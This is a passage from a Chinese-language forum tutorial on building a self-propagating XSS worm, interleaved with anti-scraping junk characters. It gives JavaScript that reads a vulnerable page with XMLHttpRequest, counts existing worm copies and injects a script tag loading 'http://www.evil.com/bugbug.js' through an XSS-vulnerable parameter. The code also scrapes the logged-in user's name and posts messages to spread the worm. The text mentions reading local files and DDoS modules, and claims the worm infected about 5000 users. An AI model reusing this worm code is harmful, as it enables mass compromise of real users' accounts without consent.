/ n; p) Z7 s. g if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}/ C, ~4 y+ [6 F+ J6 K/ ?' B. t; T& W
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码0 t# X7 u0 Q( h6 o; Q; O$ c# ?
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
: U" Q/ w6 `2 R2 c6 j1 T0 i! u! ^复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.* z, O6 [( u/ W* _4 n: E
7 }4 H. O+ v( A& f3 d) q
xmlHttpReq.send(null);
3 }- g: N# y U+ b: z3 E t4 c( R- S9 R! ?
var resource = xmlHttpReq.responseText;
* n s) G! t8 v, |
9 a, ^* F( D7 ^; ^/ Bvar id=0;var result; ~7 R- b* [8 f# _: p
6 e1 t, M* H! \; U" Avar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.% D% F6 W! N1 T3 o4 [+ ~
- c0 s/ V6 `* @$ R
while ((result = patt.exec(resource)) != null) {( e# L3 W! z* O B) P; _' {
0 F: _- ]9 P0 R; A3 N2 ?) \id++;& j3 ~) a( P* d8 {& m6 O
6 O% Z1 D% y) T- W
}# C3 Y" J& A; s; Z( V p5 X
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
# U2 R8 N. r* H6 y
7 P' r' J3 e9 N& K5 i! F* hno=resource.search(/my name is/);6 T# G# J# M& l
& v0 ~" v4 \" a0 _5 Hvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;
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) d: s/ [% D6 [) R! j' FxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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6 \8 a& x8 m9 XxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); 9 i! E% X2 l2 B
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");2 y+ w, T8 ~' b5 z
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xmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{5 O7 c9 P; ]8 t* O
- q, u# _& Q: f/ H5 }1 w$ j; ovar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.( m; c1 S6 z6 R) d5 X) L
8 s Z/ r, D8 k# ~" Rvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);' ?0 B4 I+ f4 f7 w% y! a- h1 S) T1 U
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); ! z; ?* n$ A' e* X/ A
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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0 S% Z- G8 A8 q) h$ Y) sxmlHttpReq.send(post); //把传播的信息 POST出去.& B: h, J- L" o' i. d6 `
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------) T* E- |# C. p8 q6 ?
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
3 }% X+ W, q N: e蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
K5 a/ B( L% W7 k8 f5 z( x* c& g' z+ u操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.$ _1 d; U9 F' o
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本文引用文档资料:
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
% g# o; H" O! ]1 s; N J0 G* DOther XmlHttpRequest tricks (Amit Klein, January 2003)6 r( p+ }" O+ r3 l
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
8 v" g9 s# G3 O% f$ ~ I7 b. vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
: z7 m2 b5 n7 i. l* X0 L, F空虚浪子心BLOG http://www.inbreak.net
, ~8 T/ I7 E' M2 Q+ Y: l, y5 d+ SXeye Team http://xeye.us/
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